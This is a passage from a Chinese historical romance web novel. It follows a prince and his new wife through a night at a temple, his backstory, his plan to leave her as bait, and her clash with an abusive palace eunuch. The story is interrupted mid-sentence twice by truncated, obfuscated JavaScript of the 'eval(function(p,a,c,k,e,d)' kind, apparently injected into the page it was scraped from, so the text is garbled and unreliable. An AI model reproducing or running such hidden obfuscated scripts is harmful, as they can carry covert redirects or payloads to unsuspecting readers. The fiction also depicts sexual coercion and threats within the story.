话说出口,像有一根极细的针刺入心脏。 纵然他们没有相爱过,但哪个女子对丈夫说出这样的话心里会好受。 可她只能从长计议,本朝律例,女子和离后无法分得夫家财产,只有妆奁是自己的,也就是养颐堂。 她总要积蓄力量,终有一日海阔天空,任她驰骋。 想到美好之处,她又略微好受些。 “行吗……王爷?”她仰着小脸看他。 浑然未觉,她已移到萧承翊跟前,跪坐在他身边。 少女身段绵软,寝衣单薄,裹胸绣着的一簇白芍药随着呼吸浅浅起伏,含苞待放,诱人采撷。 萧承翊面色阴沉,目光无意识地停驻在那抹嫣红的唇瓣上。 半晌,他移开视线,鼻间逸出冷嗤。 “你让我纳妾?” 这话落在夏若初耳中,便是有得商量的意思。 她犹豫半晌,“……荣国公府赵姝可不行,她不是好人,会祸害王爷……” 忽然阴影猛地覆盖下来,蛮横的力道将她重重压倒在榻上。 “夏若初,你嘴里有没有一句实话?”萧承翊气息灼热,迫近她眼前。 “求子心切?你我未曾圆房,怎么求子,嗯?你到莲灯寺究竟想做什么?” 这猝不及防地审问让夏若初呼吸一滞。 人长嘴就是为了说话,怎能任由别人平白冤枉自己。 “我来问当年萧夫人去世的真相。无论王爷信不信,我绝非贪生怕死之人,断不会眼见萧夫人坠河却见死不救。” 萧承翊冷笑:“真相呢?那日情形究竟如何?” “我想不起来了。”夏若初偏过脸,避开那灼人的注视。 他握住她下颌逼她转过脸,粗糙的指腹磨过她柔嫩的唇角。 “可记得我说过的话?你是本王的奴,我就算不喜欢你,也可以要了你的人。” 夏若初浑身一颤。 这男人简直颠倒黑白,当初他们分明不是这样约定的! 可那双眼眸像是淬了火的墨玉,烫得她心头发慌,失去言语。 她熟悉他现在的样子。 他们在温泉中相拥时,他的眼神与身体反应也是如此,烈火燎原。 他这是动了色心。 10. 第 10 章 男人灼热的身躯沉沉压近,俊朗的面容逼至眼前。 那双眸中欲色翻涌,浓深得令人心头发慌,身子也跟着发软。 夏若初知道他所言不虚,这世道的女子,婚嫁全凭父母之命媒妁之言,与丈夫行周公之礼更是天经地义。 可她不愿意。 她才不会接受一个开口闭口视她为奴的男人,长得再好看也无用。 几乎是本能地,夏若初抬腿便踢了过去。 纤细的脚踝瞬间被铁钳般的手掌牢牢扣住。 “还敢踢我?” 萧承翊唇角一勾,顺势攥住她另一只脚踝,将人一把拖到身下。 如同小鸽子被鹰隼的利爪摁住,夏若初徒劳地挣动,“这床睡不下两个人,当心一会儿塌了!” 任她如何扑腾,萧承翊纹丝不动,声线散漫,“叠着睡,便能睡下了。” 夏若初捂住耳朵。 当真是个毫无顾忌的狂徒,青灯古佛在前,他嘴里胡说什么污言秽语。 她又气又急,“万万使不得,这是佛门净地,这是大不敬!” 他却漠然一笑,“本王要做的事,神佛也管不着。” 夏若初脑海中快速思索脱身之计,“妾可不可以求您一件事。” 萧承翊:“不可以。” “你,你……” 她说不出话,也不知道怎么想的,心里一横,索性双腿缠上他的腰,将人猛地往下一勾。 萧承翊毫无防备,重重压了下来,却迅疾地用手肘撑在榻上,薄唇距那朵柔软花瓣唇仅余一寸。 灼热的气息扑到自己脸上时,夏若初身子控制不住地微微战栗,一颗心怦怦地乱跳,浑身如火烧般灼热滚烫。 但看他反而如石头般僵住,她又暗暗松了口气。 古书诚不我欺啊,出其不意,攻其不备,兵行险招果然有用。 这男人一身反骨,越是反抗,越会激起他的戾气。 曾经她养过一条极机敏又性情暴烈的边牧,也愿意被她这样抱在怀中,必须顺着毛捋,才肯温顺。 再说眼下这姿势,脸皮都舍了,只得硬着头皮撑下去。 夏若初总算体会到,什么叫“骑”虎难下。 犹犹豫豫好几次,终于咬着下唇,双手轻轻捧住了男人轮廓分明的脸。 “妾本就是王爷的人,都依王爷便是。” 声音克制不住地微颤,似是害怕,又宛若十分害羞。 萧承翊身形未动,只一双黑眸沉沉地凝视她,冷如深潭。 屋内空气变得燥热。 窗外是深秋寒夜,夏若初此刻却如置身火炉,身上渗出细密的薄汗,肌肤透出桃花初绽般的淡粉,莹润光洁如羊脂玉。 她知道他也热。 眼眸微抬,便撞见上方那处锋利的喉结,一滴汗沿着硬朗的线条滚落,坠入她的颈窝,烫得她轻轻一颤。 她指尖微动,他的皮肤温热干净,鼻梁高挺如削。 “妾身原以为,王爷忙于公务,定是顾不得我的。王爷这般顶天立地的男儿,眼里装的是山河疆场,怎会惦记后宅内的情长意短呢?” 她一双水眸望着他,幽怨地叹了口气。 “妾便在佛前许愿,想为我去世的家人,还有未能奉茶尽孝的公爹和婆母,守足一年的孝。” 萧承翊的眉心蹙了一下。 夏若初忙放软声音,“妾身本就该循礼守制,只是老夫人那时说,时局不稳,王爷肩负重任,唯恐误了萧家血脉延续,我未敢不从。” “可谁曾想。”她似叹似嗔地,“王爷竟是这般等不及。” “既然如此,妾身也顾不得那许多了。什么礼仪、孝道,皆可抛开,妾身愿与王爷一同赴汤蹈火。” 床笫间的事说出了慷慨赴义的气概,夏若初自己额头都沁了层薄汗。 道德绑架虽然不够光明磊落,紧要关头却不得不用。 何况她虽然借此为由,但也的确诚心实意。 “王爷若不信我,我无从辩驳。”夏若初语气恳切。 “我与王爷一样,对亲人思念至深,此番虔诚祈愿,只盼他们在天之灵皆能安心。 萧承翊身体紧绷,目光有丝恍惚,眸中掠过淡淡的哀色。 他身上的浅淡冷檀香,被体温煨出暖意,无声无息地将她笼罩。 有那么一刹那,她几乎错觉自己是被他珍重地拥在怀里。 莫名的,夏若初心口泛起一阵酸涩。 这些时日,她住在荣安太夫人府,也听老夫人说了关于他的许多事。 萧承翊的母亲文心是翰林大学士之女,容貌才情皆是拔尖。 那时萧策军功太盛,虽是皇室宗亲,可天家亲情,总要多一层权衡,便将这位清流文臣的千金指婚给他。 满朝皆道这是一桩金玉良缘,萧太君当初也甚是满意。 可谁知,文心心里早已有了人。 那是位家道中落却才华横溢的书画先生,两人曾有过一段清风明月般的知交。只是门第悬殊,学士府硬生生拆散了这段缘分。 一个是终日浸透在诗书中的贵女,心高气傲,满腹风月;一个是沙场淬炼出来的将军,沉默冷硬,不解风情。婚后不过数月便已形同陌路。 一年后萧承翊出生,婴儿的啼哭声为院落添了生气,府中上下皆是忙碌欢喜。 因着这孩子的缘故,两人之间渐渐有了寻常夫妻般的相处。 温馨的光景并不长久。不知是谁将消息传到文心耳中,那位书画先生突染急症身亡。 文心认定是萧策暗中下手,从此搬进偏院,终日与佛经为伴,对丈夫冷淡疏远,对儿子亦再无半分亲近。 那年萧承翊才三岁,母亲不要他了。 他不明白发生了什么,常常跑过半个王府,踮着脚去拍母亲院门。那只冰冷的手总是将他推出门外,扔下毫无感情的一句:“带他回去,勿扰我清净。” 萧策既怨妻子无情,更见不得儿子这般依恋软弱的模样,他将萧承翊带到军中,对他严苛训练。 那样小的年纪,稍有懈怠便是重罚。若是哭闹,军棍便毫不留情地抽下来。 萧老夫人得知后,又惊又怒,她将孙儿带回府中亲自抚养,对他悉心教养,请名师教授诗书礼乐、文韬武略。 萧承翊天资极高,又极下功夫,学识日益精进,骑射与武功亦渐渐鲜有对手。后来入宫与太子一同进学,其才识风度深得圣上喜爱。 有一回随父亲出征北疆,遭遇蛮族重兵埋伏,萧承翊所在的左翼被敌军铁骑冲散,与中军主力断开了联系。 为保全中军,萧策下令向东南突围,留下左翼就地死战,牵制敌军。 那道军令,等同于将数百将士与亲生儿子置于死地。 残部被围,箭尽粮绝。所有人都认为萧承翊绝无生还之机。 然而两日后,那少年带着十数名残兵回到了大营。 他浑身像从血泊中捞出似的,踏入中军大帐,将一颗蛮族头目狰狞的首级,扔在父亲案前。 是他率领将士从尸山血海中突围,又带着仅存的死士夜袭敌营,烧其粮草,斩下枭首。 那年,他十四岁。 从那日起,昔日眼中尚存一丝温度的少年彻底死去。 活下来的,是令北疆蛮族闻风丧胆的冷血修罗,是后来执掌禁军、果决狠辣的肃王殿下。 恩宠与权势的背后,是无人窥见的冰冷生活。 萧承翊与父母的情分始终淡薄。他敬重孝顺太夫人,却从未学会祖孙间的亲昵。 直到父亲死在沙场、母亲溺水身亡,接连痛失双亲,老夫人也没有见他落过一滴泪。 男女之情,他更是抗拒,对试图借美色攀附的人厌恶至极。 天子亲侄,英武俊朗,自是无数高门贵女的春闺梦里人,那些有意无意掷落的香帕,遗落的题扇,宫宴中的秋波暗送,他从来视若无睹。 他每日披着晨露出门,踏着夜色归府,偌大的肃王府里没有一丝人间烟火气。 太夫人心疼孙儿身上深植于骨的孤独,却也无可奈何。 回想起这些事,夏若初心底仍会漫过一丝凉意。 她为他感到唏嘘。 再冷漠的母亲终究是母亲,越是得不到,便越成了执念。 她忽然有些明白,萧承翊为何会因萧夫人的死,将沉重的怨憎加诸于她身上。 但她已不似最初那般怕他。 她想起他为自己严惩赵姝,想起他为自己手臂上药时的小心,今夜在她绝望恐惧之时,他又意外地降临在了身边。 还有那年明媚的春日,高坐马上的将军望向不慎跌入官道的幼童,眼底一闪而过的温和。 若他不要总是冷漠如冰,该多好。 他这样年轻,身上已染遍血气,刀剑下亡魂无数,那样冷硬的一颗心,可曾对谁留有过一寸柔软? 北疆的漫漫长夜,他可曾有过孤独的时刻?可曾思念过某个人的身影? 夏若初的指腹不自觉地轻触男人的下颌,新生的胡茬短而硬,蹭过她柔嫩的掌心。 目光上移,她第一次这样近地细看他额角那道旧疤。 “这道疤是怎么来的?” 萧承翊眸光微动,神魂好似从遥远的地方回来。 他仍旧静静与她对视,眸色深静,清晰地映着她的影子。 良久,他唇角扬起一抹极淡的,辩不明情绪的笑意。 “北疆的蛮族探子,那人在雪地里埋伏了两个时辰,弯刀贴着额角削过来,再偏半分,削掉的便是我的天灵盖。” “然后呢?”夏若初听得屏息,下意识追问。 “然后,他就死了。”萧承翊的拇指摩挲过她颈侧的动脉。 “我割断他脖子的时候,他身子还在挣扎,温热的血泼了我满脸,看什么都是红的。” 夏若初:…… 好可怕,好变态。她打了个寒颤。 他怎么可以这样淡定自若地说出如此骇人的画面。 “抖什么?不是要与我生死同赴吗?”他俯身,气息沉沉压迫下来,“那便,听话。” 夏若初倏然僵住。 一只大手从身侧探来,抚上她腰间的系带。 她浑身紧绷,无法动弹,本能地攥紧掌心,紧紧闭上双眼。 半晌,并无动静。 “嗤。” 耳畔落下一声满是戏谑的轻笑。 “就这点胆子。” 身上沉重的压迫感骤然撤去,清凉的空气涌入胸腔,夏若初大口喘气,才意识到自己方才一直屏着呼吸。 心跳仍咚咚撞着耳膜,她后知后觉地涨红了脸。 她好像,被人结结实实地戏弄了一回。 她不由瞪圆了一双杏眼,腮帮也微微鼓了起来。 萧承翊看她片刻,扯过被子将她从头到脚裹了个严实,像卷春卷似的往床内侧一推,翻身便在她外侧躺了下来。 “本王没兴致碰你。”他声音恢复平日的冷淡,“许你守孝。” “真的?”夏若初从被卷里扒拉半天,艰难地探出毛茸茸的脑袋。 “这是莲灯寺,举头三尺有神明,王爷说话可要算话。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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玄色身影裹着寒意踏入殿内,驻足在蒲团前,静候早课的高僧。 “打扰大师清修。”萧承翊合掌为礼。 忘尘大师起身还礼,“王爷别来无恙。” 萧承翊略一颔首。 “因王妃在此休养,令佛门净地不宁,本王自会担待。我已调配精卫到寺中常驻,料无人敢再犯,他日另奉香火,以敬佛门。” “佛门广大,不拒苦厄,亦不责无辜。”忘尘大师微笑。 “然寺中驻守兵甲,终非清净之相。待王爷与王妃回府,护卫当一并撤去为好。” 萧承翊静默片刻。 “本王欲将她留在寺中一段时日。” 忘尘大师愕然,“王爷为何不愿接回王妃?” 萧承翊声音涩哑,“我所谋之事正在要紧时刻,王妃已招人耳目,我绝不能因她横生枝节。” “王妃可同意?” “她不知情。”男人目光冷寂,“亦请大师,不必告诉她。” 忘尘大师轻叹:“王爷是英雄,然则亲缘淡薄,如今太夫人也到了颐养天年之际,王爷何不多珍惜眼前人?” “缘分若轻易舍却,恐他日追悔,徒留心债。” 萧承翊神色淡冷:“大师与翊相识多年,当知今日之我,没有什么是舍不下的。” “那王爷可曾想过?若无王爷相护,王妃恐再招杀身之祸。” 夜风卷入殿内,烛火猛地一晃。 光线骤暗,将人影拉长、扭曲。 “那便,待鱼上钩。”萧承翊定定地望着跃动的烛火,声音冷冽如冰。 “我也想知道,究竟何人胆大妄为敢动她?我必将其,碎尸万段。” “人若不在,纵使血债血偿,亦是无用。”大师指间佛珠微顿。 “王爷若置王妃安危于不顾,若有所闪失,又当如何是好?” 殿内陷入静寂,良久无声。 再抬眸,萧承翊声音平静无波,“那便是她命该如此。” 言尽于此,高僧眼底掠过一丝悲悯。 “我佛慈悲。被人遗弃之痛,锥心蚀骨,如此行事,于王爷福报亦有损。” 萧承翊倏然抬眼,“佛祖慈悲吗?” 长明灯的火苗在他眸中一跳,映出深寒的讥诮。 “我父亲一生忠烈,遭人陷害惨死边关,却被一句天灾掩盖真相,佛祖可曾为其伸冤?” “我母亲一心礼佛,弃三岁稚子不顾,至死都不认母子亲情,佛祖可曾垂怜半分?” 他玄衣拂动,仿佛将沉压多年的戾气都释放在这佛殿之中。 “两万将士殊死作战,却要忍饥挨饿埋骨边疆,只因有人贪墨军饷,中饱私囊,佛祖又可曾开眼?” 他目光如剑,直直望向大殿中央的佛像。 “我不信神佛,不信因果,只信自己。” “若我不为他们讨回公道,世间便再无人会为他们开口。” 远处,一声晨钟撞破夜色,悠悠传来。 佛目半垂,悲悯地俯视着下方。 忘尘大师不再言语。佛家有云,不可渉入他人因果,是非对错终须局中人自解。 萧承翊望向殿外渐灰的天色。 他声音放得很轻。 “待事情了结,若她尚有命在,我定会来接她。” 11. 第 11 章 明亮的日光透过窗纸,是个晴天。 夏若初醒来时,只有她一人睡在床上,禅房里静悄悄的。 她拥被坐起,辛夷的安神药着实有效,她睡得昏天暗地,茫然了片刻,昨夜零星的画面才缓慢地浮现。 望着身下窄小的禅床,她仍难以相信,萧承翊真的与她同床共枕一整夜吗? 这床分明只容一人睡得安稳。 可枕畔与被间,那缕清冽的冷檀香却萦绕不散,甚至比昨夜记忆里的更分明些。 莫非真是……叠着睡。 她慌忙摇了摇头,驱散脑海里那些荒唐的画面,耳根却不觉热了。 碧菡进屋,见她已醒来,便端了热水进来。 “姑娘睡得可真沉,王爷一早便去前院与知府大人议事,走时特意吩咐让您睡够,莫要打扰。还说晌午便回,陪姑娘用午饭。” 听这话,他是天明才走的。夏若初一阵耳热心跳。 碧菡往门外唤了声,外头的婆子便陆续搬进来几只红木箱笼。 “这是……”夏若初讶然。 “肃王府一早便安排人送来的。听说天未明便启程赶路,山路泥泞湿滑,运上来很是不易。” 碧菡上前打开箱笼,里头整整齐齐叠放着衣裙、锦袄、披风,乃至手炉、暖帽,一应俱全。 另有几匣崭新的妆奁、梳具,甚至还有京城有名的香粉铺“露华浓”出品的胭脂水粉。 夏若初瞧着,不禁莞尔。 “雨都停了,山路最多明日也该通行无阻,何须兴师动众。”她拿起一件雪狐毛镶边的斗篷,触手又软又暖,“倒像咱们要在这住上一年半载似的。” “奴婢觉得王爷是疼爱姑娘。”碧菡轻笑,“姑娘刚退了烧,王爷不愿姑娘再受委屈。” “他会这般为我着想吗?”夏若初略微沉吟,虽觉得异样,却也想不出别的缘故。 忆起昨夜睡前,他应允她经营养颐堂。她软软求他,他就答应了。 之前送他的香囊,他也收下了。 他们也许是可以好好相处的。 她心里像被什么轻轻地揉了一下,嘴上只是说,“到底是锦衣玉食的王爷做派,事事讲究排场。” 离了府邸,夏若初更不耐烦那些繁复的发髻与妆容。 她只让碧菡用一根浅青绸带,在脑后松松地绾起一绺长发结成随云髻,余下青丝如流云般垂泻。 脸上未施脂粉,愈发显得眉似远山含黛,眸如秋水凝光,唇不点而朱,透出纤尘未染的纯净。 梳洗妥当,夏若初推门出去。 这几座四合禅院坐落在莲灯寺最幽静的位置,向来只供宗室贵人休憩。此时晨光穿过古树枝叶,空气里飘着草木清气。她深吸一口气,只觉神清气爽,迫不及待想出去走走。 拉开门,冷不丁吓一跳。 禅院外竟立着七八名男子,皆着深青色劲装,站得笔挺,神情严肃地听关朔吩咐。 看这架势也知是密卫,没有披甲带刀,想是担心吓着来往的香客,惊扰寺中清净,故而不能过分张扬。 关朔见她出来,略一停顿,上前行礼,“参见王妃。奉王爷之命,为王妃增调护卫。” “江刃、尚游二人,跟随王爷多年,武艺与忠心皆无可挑剔,今后他们便是您的近身侍卫,王妃万事皆可安心。” “有劳关统领。”夏若初看看站上前的两名年轻侍卫,笑眯眯地摆手。 “让他们回吧,我用不着护卫,我都快回府了呀。还有王爷在身边,我能有什么危险?” 四周静了一瞬。 除了碧菡,每个人神色都有丝凝滞。 关朔扯了扯嘴角,“王妃说的是。只是,王爷有令,我等不敢违抗。” “王妃便是回了府,日后总有出门走动的时候,有他二人随行听用,总是方便些。” 此话颇有道理。 夏若初转念一想,经营养颐堂确实免不了时常出府,以后再遇到讨人厌的赵姝,便留两个侍卫与她纠缠,免得浪费自己的时间。 她便笑道:“二位将军可是心甘情愿?我可听说,跟着我的人容易倒霉,动不动就要无辜挨军棍。” “王妃这是哪里话?”关朔面皮微红,“谁敢背后乱嚼舌根,我将他拖出去杖毙!” 一旁的尚游看着十分稳重,也说:“王妃说笑了。能护卫王妃,是我等的荣耀。” 江刃性子却活络些,咧嘴笑道:“属下一百个愿意!大伙儿都馋王妃的霸王茶,都说太夫人府里的下人托您的福,脸庞都圆润了一圈。” 一听人夸她厨艺,夏若初眼眸便亮了起来。 “你们可是北地过来的?到了临安可有水土不服?” “我不止会做霸王茶,我还会做肉夹馍、炸酱面、果木烤鸭、铁锅炖大鹅、手抓羊肉、京酱肉丝、宫保鸡丁、麻辣小龙虾、卤煮火烧、麻酱爆肚、门钉肉饼……哪天得了闲,做给你们尝尝?” 她一口气报出一长串菜名,众人的眼睛倏地亮了,空气中清晰地传来咽口水声。 关朔一脸痛心:“虽未曾听过这许多菜名,但听着就想吃啊。只可惜我跟着王爷,怕是没有口福了。” “不怕不怕。”夏若初爽快地说,“我多备两份给你和王爷留着便是。” 她说着话,人就已经往外走。 “王妃这是要去哪儿?”关朔拦住她。 “王爷吩咐,昨夜事发突然,周遭恐不太平,王妃莫要外出为好。若真想散心,容我先去禀王爷一声。” “我又不是囚犯。”夏若初无奈,“我只在寺内走走,不去别处。” 如果有人想要害她,时时刻刻都可以下手,她总不能一辈子躲在屋里。不过她也知道,若不交代一句就离开,关朔必然为难。 她想了想,转身跑回禅房,不多时拿着张素笺出来,“那你帮我把这个递给王爷。” 纸上只有一行娟秀小字:“我出去玩了。” 末尾还画了一个歪歪的笑脸。 关朔盯着那纸笺,一时语塞。 他还从未见过有人敢用这般儿戏的方式,给肃王留口信。 可夏若初人已经出了院门,侍卫和碧菡紧随其后。 看着那道轻盈的身影走远,关朔默默叹了口气,面上掠过一丝复杂的不忍。 这位王妃的性子他算是摸着几分,看似随和,实则极有主意。她好似回回出门都要平地起风波,还是速速禀明肃王为好。 他不敢耽搁,将纸笺仔细收好,转身疾步而去。 - 天气晴好,莲灯寺内的香客络绎不绝。 既有寻常布衣,也不乏衣着体面的富户带着仆从,可见山下的道路已通畅许多。 西侧廊庑下却静候着一长列百姓,多是衣衫简朴、面带倦容的乡民,安静排着队。 夏若初正觉疑惑,恰见昨日为她煎药的典座执事僧领着几名僧人经过,便上前唤住他询问。 典座执掌寺院斋堂事务,负责食材管理及斋饭制作,已知她是肃王妃,自是恭敬回话。 原来近日天气骤寒,湿气滞重,附近百姓染病者甚多。莲灯寺每逢旬日,便会开设施药斋棚,赠些常用药材,也请懂医理的僧人为贫苦者诊脉。 若有病情沉重的百姓,寺里也会安排禅房容他们暂住,待稍好些再下山。 夏若初闻言,神色认真起来。 “斋饭可还够?病中之人,饮食更需留意调理。” “这便正要去采买些食材,斋饭虽是清简,却也尽力备些热粥、蒸饼。” “要去山下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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那年大军凯旋,夏云骁因战功获赏,可从皇上赐下的数匹西域骏马中挑选一匹。 按例本当由萧承翊先选,他却将优先之权让给了夏云骁。 夏若初缠着要跟哥哥去挑马,在一众神骏里,一眼便看见了那时还未完全长成的追云。别的马昂首挺立,唯独它转过头,湿漉漉的眼睛望着她手中亮晶晶的糖块,竟主动凑近过来。 她笑着把糖喂给了它。 掌管马政的太仆寺官员说,这匹马虽最年少,却是大宛马的纯正血统,肩高腿长,蹄腕坚实,眼神清亮通人意,将来必是万里挑一的战马。 那时在马场,夏若初是第一个骑着追云小跑了一圈的人。 最终,夏云骁既未试骑,也未选它,而是毫不犹豫地将这匹最出色的马留给了萧承翊。 大婚第二日,在竹林道,夏若初就认出了萧承翊身下已然威风凛凛的追云。 时隔三年,追云挨在她身侧,竟然还悄悄用鼻子蹭了蹭她的手臂,分明是在寻她荷包里的糖香。 夏若初当时正酝酿情绪准备掉眼泪,险些被它逗得笑出来。 此刻,抚摸着追云光滑的颈侧,她声音软了下来。 “你都上过战场立过功了,怎么还这样贪嘴?下次我多带些给你啊。” “我今日穿着漂亮的长裙呢,你可得乖乖的,千万别把我摔下来呀。” 身后的尚游与江刃听着这哄孩子似的语气,都忍不住别开脸抿嘴偷笑。 追云平日里除了萧承翊,谁都不让骑,哪是哄几句好话就能驯服的? 谁知笑意还未收起,便见夏若初轻盈地踩镫、翻身,眨眼间,她已稳坐鞍上。 12. 第 12 章 夏若初让不会骑马的碧菡留下帮寺院施粥,她与两名近卫正要动身,忽听西侧禅院方向传来一阵嘈杂与呵斥。 她勒住缰绳,循声望去,“佛门清净之地,何故如此喧哗?” “王妃莫要过去,以免生出事端。”尚游拦在前方劝阻,“管他闲杂纷争,执事僧自会处理,我们还是走吧!” 近卫的语气顾虑重重,夏若初立时领会。 她昨夜才遭遇意外,理当更加谨慎。萧承翊不喜张扬,想来不会愿意旁人知晓肃王与王妃在此。 万一惹他生气,收回昨夜许她经营养颐堂的承诺,那她岂不是白遭罪了。她现在自顾不暇,实在没有资格管他人的闲事。 她默默点头,调转马头向山门方向而去。 西侧的嘈杂声愈加凄楚,隐隐夹杂着零星的哭喊。 莲灯寺特意留出供百姓暂歇的禅房外,几名满脸厉色的府兵正粗暴地推搡驱赶着百姓,许多皆是衣衫褴褛、面有病容的老人。 一名内侍模样的中官,只抄着手冷眼旁观。 “速速滚开!贵人休憩之地,也是你们这些病痨鬼能沾的?” 一个约莫十一二岁的少年,搀扶着咳嗽不止的老人,拉住面露难色的僧人的衣袖苦苦哀求。 “师父,我爷爷发着高热,实在走不动啊,家中漏雨,又冷又湿,求求你们不要赶我们走。” 人群中的悲泣与哀求也随之响起。 “军爷开恩!我们是北边逃难来的,实在没处去了。” “家里壮丁都抽去江州打仗了,就剩我们老弱,生病也无人照顾。” “连日大雨,官府的粥棚早就撤了,出去也是饿死冻死。” 在场僧人与过往香客皆面露不忍,然则无人敢出一言。 典座终上前道:“大人,这些都是孤苦无依的百姓,天寒雨湿,若此刻驱逐他们,病情加重便有性命之忧……” “聒噪什么?”那内侍眉眼一横,“这些人生着瘟病,万一过了病气冲撞贵人,你担待得起吗?” “不过是寻常风寒和伤痛,何来过病气一说?”典座仍苦苦劝道。 “何况贵人住在东面精舍,与这禅院隔了两重院落,病气如何过得去?大人,积善方能积福,否则恐招业报……” 话未说完,那内侍竟抬脚狠狠踹在他腹部!典座闷哼一声跌倒在地,吐出一口鲜血。 百姓皆吓得面如土色,众僧慌忙上前搀扶,虽个个面露愤然,却慑于对方威势,敢怒不敢言。 “敢咒你爷爷?”那内侍朝地上啐了一口。 “贵人一根手指头,抵得过这干贱民百条性命。贵人若有半点闪失,将他们挫骨扬灰也赔不起。”那内侍嗓音尖利,“你这和尚是吃斋吃糊涂了心窍,再敢多嘴,立时便送你去西天见佛祖。” 他拂袖厉喝:“给我统统轰走!一个不留!” 府卫更无忌惮,粗暴地推搡,一众老弱病残脚步踉跄,压抑的哭泣声中,一位老人摔倒在地。 他身旁的少年,猛地上前撞开那名府兵:“不准碰我爷爷!” 锃!刀便已出鞘。 刀光乍现,雪亮锋刃照着少年脖颈便挥落下去。 千钧一发之际,伴随着疾风,玄色骏马如闪电般飞跃而至。马蹄高扬,长声嘶鸣,直将那名府兵撞飞出去,刀也脱手飞出。 其余府兵立刻蜂拥而上,那内侍发出一声尖声,锋利的长剑已抵在他脖颈上。 尚游与江刃,一左一右护在黑色骏马两侧。 “肃王妃在此,谁敢造次!” 骏马立定。 马背上,少女一袭天青色纱裙随风舒展,泼墨般的长发轻扬,几缕青丝拂过她玉白的脸颊。 银杏叶落如片片金蝶围绕她身侧飞舞,肤光胜雪,清艳绝尘,真是世间难寻的殊色。 众人惊鸿一瞥,忽然安静至极。 夏若初翩然下马,径直掠过忘了动作的府兵和瞠目结舌的内侍,行至典座身边。 “师父可还撑得住?寺里若备有仙鹤草,可先取来应急。西山下养颐堂的女医辛夷最擅长医治内伤,你可去寻她,千万不能大意。” 典座忙合十谢恩。夏若初这才回眸,冷冷看向那内侍。 心里掠过悔意,怨自己犹豫不决,早来片刻,善心之人便不必无端受伤。 若非不愿莲灯寺再次染血,方才她就不会勒紧缰绳,随追云扬蹄将这群走狗踹翻。 “哪位贵人摆这样大架子?”她冷声问。 “便是皇上,也常以体恤民情为念,莲灯寺收容病弱本是善举,你家主子是有多大的胆子,竟敢行事违逆天子仁政?” 那名内侍先是一怔,脸上却不见惧色,只拿一双细长的眼睛暗暗打量夏若初,目光里透着掂量的意味。 很快,他面上便堆满了殷勤的笑意,身子已躬了下去,姿态谦卑。 “奴婢张宝,请肃王妃安。奴婢是在丽妃娘娘跟前伺候的都知。” 夏若初神情微怔,缓缓确认道:”丽妃娘娘,可是太常寺卿温大人的长女?” “正是!”张宝笑容更深,掩不住得意,“丽妃娘娘也是太子少傅温淮璋大人的嫡亲姐姐。” “奴婢职责在身,若有冲撞,请王妃莫要责怪。” 这番话说得谦恭,张宝已将利害关系分辨明白。 眼前这位肃王妃,论品阶可是从一品外命妇,按宗室礼法,还是皇帝的侄媳,丽妃纵然正受盛宠,明面上也轻易动不了她。 何况,谁人不知肃王萧承翊执掌殿前司,一个有实权、备受皇帝信任的郡王,再加上背后的荣安太夫人,这等分量,便是一百个丽妃也惹不起。 他没有立时退让,无非是因一则传闻,这位王妃,并不得宠。 大婚当日,肃王连堂都未拜,这门亲事,不过是御笔钦点,面上光鲜,前路尚未可知。 夏若初并未察觉张宝心中的计较,她目光微垂,神色有些恍惚。 这件闲事真是不该管的。 她倒是不怕那位丽妃,她只是不愿再与温府有任何牵扯。 尤其不想见到温淮璋。 见她良久不语,张宝有些拿不准,面上笑容更热络了三分。 “奴婢在宫里便听闻,肃王妃琼姿玉貌,容色足以倾城,这京中多少才俊都羡煞肃王好福气。今日一见呐,王妃真真是神仙中人!难怪我肃王殿下……” “够了。”夏若初截断他的话头。 若再任他说下去,这番奉承怕是要说到日落西山。 “这些百姓在莲灯寺已停留多日,若有瘟疫再已传开。他们不过是寻常风寒湿滞,或陈年外伤,不会过病气。” 她语气转冷,“你若欺凌贫病,驱逐弱者,此事传扬出去,损的是谁的颜面,你应当清楚。” 张宝被她说得喉头一哽,随即又挤出笑意。 “王妃有所不知,丽妃娘娘今日与温少傅一同上山进香,不巧山路被雨水冲得淤堵,车驾耽搁了许久,娘娘贵体已觉不适。” 他声音里故意透出为难。 “奴婢也是奉命行事,否则少傅大人怪罪,奴婢实在担待不起。” 夏若初身子几不可察地一顿,僵在原地。 温淮璋,他也来了? 记忆里的一幕一幕,如深潭下的暗流悄然翻涌。 她与那位年少有为、名动京华的少傅,是自幼便相识的。 温府与夏府本是世交,两家常有走动,温家有一子一女,皆是样貌出众的人物。 如今的丽妃,闺名温佑宁,十五岁即选秀入宫,彼时夏若初只有八岁,此后便难得见面,故而对这位温家姐姐印象自然不深。 倒是长她六岁的温淮璋,自小对她极为呵护。 他记得她所有孩子气的喜好,东街李记的酥糖,胡人摊上会转动的木雀,每回来夏府前,总要绕一段路,带些有趣的玩意儿送给她。 上元灯节,他在人潮中让她骑在肩上,好看清远处那盏最大的鲤鱼灯。她玩累了睡在马车里,醒来时发辫散了,他竟也会生疏地替她重新绾好。 他教她读书,陪她练字,她耐性不足,他便扶稳她的手带她一笔一划写完。 夏若初的字迹娟秀中藏着筋骨,便是有着温淮璋运笔的痕迹。 两人亲厚如家人,岁月便这样一年年淌过去。 温淮璋十八岁时高中状元,入翰林院为修撰,因其才学与风仪深受圣上赏识,被选为东宫侍读。 那时两家长辈话里话外已有了结亲的意思,但夏若初年纪太小,便想待她及笄之后再细细商议。 情窦未开的年纪,她并不懂得什么男女之情,只知道遵从父母之命媒妁之言。若将来要嫁人,温淮璋便是理所应当的那一个。 他生得芝兰玉树,为人温文端方,对她更是耐心周全,处处疼爱。 嫁给温淮璋,她是愿意的。 一切的改变,始于萧夫人落水身亡,夏若初被指见死不救的那一天。 自那日回府,她便发了一场高烧,连烧了好几日,夜里总被噩梦惊醒,待热度退去,她便不再记得那日的种种细节。 母亲担心她再受惊吓,严令府中任何人不许再提此事,不久便带着她回外祖家静养。 那是母女二人离开侯府时间最长的一次,待归来时,柳氏已带着一对子女住进了侯府。 